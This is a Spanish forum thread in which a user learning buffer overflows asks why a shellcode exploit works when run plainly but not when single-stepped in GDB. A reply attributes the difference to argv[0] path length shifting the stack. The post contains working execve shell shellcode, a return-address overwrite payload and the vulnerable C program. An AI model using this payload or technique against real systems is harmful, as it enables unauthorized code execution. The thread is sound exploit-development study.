Ejecución diferente dentro GDB

Iniciado por kr0m_, 5 Septiembre 2014, 14:01 PM

0 Miembros y 1 Visitante están viendo este tema.

kr0m_

Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:

(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.
process 4734 is executing new program: /bin/dash
$


Con breakpoint:
-- Desensamblo la función para saber donde me interesa meter el breakpoint:
(gdb) disassemble func
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Meto el breakpoint:
(gdb) break *func+133
Breakpoint 1 at 0x8048531

-- Vuelvo a ejecutar el programa:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.

Breakpoint 1, 0x08048531 in func ()

-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
=> 0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff6b0    0xbffff6b0
ebp            0xbffff728    0xbffff728
esi            0x0    0
edi            0x0    0
eip            0x8048531    0x8048531 <func+133>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Avanzo una instrucción:
(gdb) stepi
0x08048532 in func ()

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff72c    0xbffff72c
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0x8048532    0x8048532 <func+134>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Consulto por que parte del código voy:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
=> 0x08048532 <+134>:    ret   
End of assembler dump.

-- Avanzo una instrucción:
(gdb) stepi
Cannot access memory at address 0x43434347

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff730    0xbffff730
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0xbffff6c8    0xbffff6c8
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?

El código en C del programa es:
#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.\n", &buff_a);
    printf("   buff_b is stored at %p.\n", &buff_b);
    printf("   buff_c is stored at %p.\n", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
        exit(0);
    }
   
    func(argv[1], argv[2]);
    return 0;
}

Un saludo.

ameise_1987

#1
Estimado, fijaos que no es lo mismo ejecutar el programa llamando una ruta absoluta
que una ruta relativa, por qué te preguntarás si el resultado es el mismo ???, porque en
argv[0] se almacena ésta información, por lo tanto si haces ./programa AAAA+Shellcode+jmp
no es lo mismo que ejecutar en la consola /home/user/Desktop/programas/programa AAAA+Shellcode+jmp,
te das cuenta que argv[0] en el segundo caso es más largo ya que debe almacenar la ruta absoluta??, eso qué implica ?? que en el segundo ejemplo te machacas mas bytes de la pila que en el primero .... lo más seguro que en tu caso para ejecutar lo haces en ruta relativa pero GDB lo hace con ruta absoluta y esto te machaca varios bytes por ende las direcciones no calzan .

espero haber ayudado en algo, estaba buscando una entrada en SecurityBydefault que habla sobre esto pero no lo he encontrado, apenas lo encuentre edito el post.

EDIT : te dejo el enlace que habla al respecto http://www.securitybydefault.com/2014/05/reversing-y-direcciones-de-memoria.html
firma retirada por insultar/cachondearse de (anelkaos) del staff.